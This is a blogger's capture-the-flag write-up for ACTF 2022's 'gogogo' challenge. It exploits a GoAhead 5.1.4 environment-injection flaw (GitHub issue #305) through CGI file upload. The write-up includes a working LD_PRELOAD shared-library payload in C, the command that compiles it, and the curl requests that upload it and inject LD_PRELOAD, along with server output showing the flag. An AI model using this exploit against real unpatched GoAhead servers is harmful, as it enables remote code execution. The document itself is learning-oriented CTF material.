I participated ACTF last weekend, it was challenging! I only manage to solve 1 challenge and here is my writeup

gogogo

Description

gogogo

Attachment

Go to the link given, nothing interesting:

gogogo2

Then I look at source code given, realise it is a docker container

At Dockerfile saw it download the release of goahead from archive (means old release), SUS..

FROM debian:buster

RUN set -ex \
    && apt-get update \
    && apt-get install wget make gcc -y \
    && wget -qO- https://github.com/embedthis/goahead/archive/refs/tags/v5.1.4.tar.gz | tar zx --strip-components 1 -C /usr/src/ \
    && cd /usr/src \
    && make SHOW=1 ME_GOAHEAD_UPLOAD_DIR="'\"/tmp\"'" \
    && make install \
    && cp src/self.key src/self.crt /etc/goahead/ \
    && mkdir -p /var/www/goahead/cgi-bin/ \
    && apt-get purge -y --auto-remove wget make gcc \
    && cd /var/www/goahead \
    && rm -rf /usr/src/ /var/lib/apt/lists/* \
    && sed -e 's!^# route uri=/cgi-bin dir=cgi-bin handler=cgi$!route uri=/cgi-bin dir=/var/www/goahead handler=cgi!' -i /etc/goahead/route.txt

COPY flag /flag
RUN chmod 644 /flag
COPY hello /var/www/goahead/cgi-bin/hello
RUN chmod +x /var/www/goahead/cgi-bin/hello

RUN groupadd -r ctf && useradd -r -g ctf ctf
EXPOSE 8081

USER ctf
CMD ["goahead", "-v", "--home", "/etc/goahead", "/var/www/goahead", "0.0.0.0:8081"]

Then I quickly look at the issue from the github and found this issue #305

It stated that version 4 to 5.1.4 is vulnerable, and only if upload filter configured and the CGI handler configured

Look at the dockerfile can clearly see the upload filter and CGI is configured! That means this is the vulnerability we should exploit on!

CGI

It only say possible to exploit to get RCE but did not show us how to exploit

Then I build the docker container on my machine and test how the CGI works, it basically run a called hello in the server at the /cgi-bin folder

We can run the program using GET request, for example:

gogogo3

We also can add parameters to set the enviroments variables when running the program, for example adding ?test=1:

gogogo4

Remember got a technique is to set enviroment of LD_PRELOAD to attacker’s binary to get RCE, but the enviroment set is added the CGI_ prefix

Look at the issue at github again, it stated that the form variables does not use the prefix when using upload filter

So now we need to figure out how to upload file with CGI

Upload file

I cannot find any documentation on upload files with GoAhead, so I just try the typical way of upload a file is using multipart/form-data, we can use curl: https://stackoverflow.com/questions/19116016/what-is-the-right-way-to-post-multipart-form-data-using-curl

curl -F upload=@test http://localhost:10218/cgi-bin/hello
Welcome to ACTF!

SERVER_NAME=172.18.0.2
REMOTE_HOST=172.18.0.1
SCRIPT_NAME=/cgi-bin/hello
GATEWAY_INTERFACE=CGI/1.1
SERVER_SOFTWARE=GoAhead/5.1.4
FILE_CONTENT_TYPE_upload=application/octet-stream
PATH_INFO=
REQUEST_TRANSPORT=http
DOCUMENT_ROOT=/var/www/goahead
PWD=/var/www/goahead
HTTP_CONTENT_LENGTH=203
REQUEST_URI=/cgi-bin/hello
PATH_TRANSLATED=
FILE_CLIENT_FILENAME_upload=test
QUERY_STRING=
SERVER_URL=0.0.0.0:8081
FILE_SIZE_upload=5
SERVER_HOST=172.18.0.2
HTTP_ACCEPT=*/*
FILE_FILENAME_upload=/tmp/tmp-5.tmp
HTTP_HOST=localhost:10218
AUTH_TYPE=
SERVER_ADDR=172.18.0.2
HTTP_CONTENT_TYPE=multipart/form-data; boundary=------------------------52b99055af16fea4
HTTP_USER_AGENT=curl/7.68.0
SHLVL=1
CONTENT_LENGTH=203
UPLOAD_DIR=/tmp
SERVER_PROTOCOL=HTTP/1.1
SERVER_PORT=8081
SCRIPT_FILENAME=/var/www/goahead/cgi-bin/hello
REMOTE_ADDR=172.18.0.1
REMOTE_USER=
CONTENT_TYPE=multipart/form-data; boundary=------------------------52b99055af16fea4
REQUEST_METHOD=POST
_=/usr/bin/env

It works!! Now lets try add a form variable:

curl -F test=test -F upload=@test http://localhost:10218/cgi-bin/hello
Welcome to ACTF!

SERVER_NAME=172.18.0.2
REMOTE_HOST=172.18.0.1
SCRIPT_NAME=/cgi-bin/hello
GATEWAY_INTERFACE=CGI/1.1
SERVER_SOFTWARE=GoAhead/5.1.4
FILE_CONTENT_TYPE_upload=application/octet-stream
...
...
...
test=test
REQUEST_METHOD=POST
_=/usr/bin/env

As you can see, the added form variable does not have the CGI_ prefix!! That means we can set LD_PRELOAD now!

Exploit

I refer this website to create the library to use for LD_PRELOAD: https://www.hackingarticles.in/linux-privilege-escalation-using-ld_preload/

Our target is to read /flag so we just need to execute command cat /flag:

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
system("cat /flag");
}

Save as exploit.c and compile with gcc -fPIC -shared -o exploit.so exploit.c -nostartfiles

Then upload the file with curl -F upload=@exploit.so http://localhost:10218/cgi-bin/hello

curl -F upload=@exploit.so http://localhost:10218/cgi-bin/hello
Welcome to ACTF!

...
...
FILE_FILENAME_upload=/tmp/tmp-7.tmp
HTTP_HOST=localhost:10218
AUTH_TYPE=
SERVER_ADDR=172.18.0.2
HTTP_CONTENT_TYPE=multipart/form-data; boundary=------------------------ae05eda6a7595af5
HTTP_USER_AGENT=curl/7.68.0
SHLVL=1
CONTENT_LENGTH=14860
UPLOAD_DIR=/tmp
SERVER_PROTOCOL=HTTP/1.1
SERVER_PORT=8081
SCRIPT_FILENAME=/var/www/goahead/cgi-bin/hello
REMOTE_ADDR=172.18.0.1
REMOTE_USER=
HTTP_EXPECT=100-continue
CONTENT_TYPE=multipart/form-data; boundary=------------------------ae05eda6a7595af5
REQUEST_METHOD=POST
_=/usr/bin/env

Can see it uploaded successfully! Now we just need to add the form data LD_PRELOAD=/tmp/tmp-X.tmp (Need to brute force for number X)

curl -F LD_PRELOAD=/tmp/tmp-10.tmp -F upload=@exploit.so http://localhost:10218/cgi-bin/hello
Welcome to ACTF!

ACTF{test_flag}
...
...
...

Yeah! We get the test flag! Now we just need to exploit at the real challenge website

curl -F LD_PRELOAD=/tmp/tmp-10.tmp -F upload=@exploit.so http://123.60.84.229:10218/cgi-bin/hello
Welcome to ACTF!

ACTF{s1mple_3nv_1nj3ct1on_and_w1sh_y0u_hav3_a_g00d_tim3_1n_ACTF2022}SERVER_NAME=192.168.80.2
REMOTE_HOST=14.192.212.80
SCRIPT_NAME=/cgi-bin/hello
GATEWAY_INTERFACE=CGI/1.1
SERVER_SOFTWARE=GoAhead/5.1.4
FILE_CONTENT_TYPE_upload=application/octet-stream
PATH_INFO=
REQUEST_TRANSPORT=http
DOCUMENT_ROOT=/var/www/goahead
PWD=/var/www/goahead
HTTP_CONTENT_LENGTH=14974
REQUEST_URI=/cgi-bin/hello
PATH_TRANSLATED=
FILE_CLIENT_FILENAME_upload=exploit.so
QUERY_STRING=
SERVER_URL=0.0.0.0:8081
FILE_SIZE_upload=14656
SERVER_HOST=192.168.80.2
HTTP_ACCEPT=*/*
FILE_FILENAME_upload=/tmp/tmp-10.tmp
HTTP_HOST=123.60.84.229:10218
AUTH_TYPE=
SERVER_ADDR=192.168.80.2
HTTP_CONTENT_TYPE=multipart/form-data; boundary=------------------------f29c1fcb84900c55
HTTP_USER_AGENT=curl/7.68.0
SHLVL=1
CONTENT_LENGTH=14974
UPLOAD_DIR=/tmp
SERVER_PROTOCOL=HTTP/1.1
SERVER_PORT=8081
SCRIPT_FILENAME=/var/www/goahead/cgi-bin/hello
REMOTE_ADDR=14.192.212.80
REMOTE_USER=
HTTP_EXPECT=100-continue
CONTENT_TYPE=multipart/form-data; boundary=------------------------f29c1fcb84900c55
REQUEST_METHOD=POST
_=/usr/bin/env

YES!! We got the flag!!

Flag

ACTF{s1mple_3nv_1nj3ct1on_and_w1sh_y0u_hav3_a_g00d_tim3_1n_ACTF2022}

During the competition, need to brute force alot the tmp file number because there are many people trying to upload

Alternative Solution

Also notice some writeups are setting LD_PRELOAD to /proc/self/fd/X, which is another method to exploit it

Other challenges writeup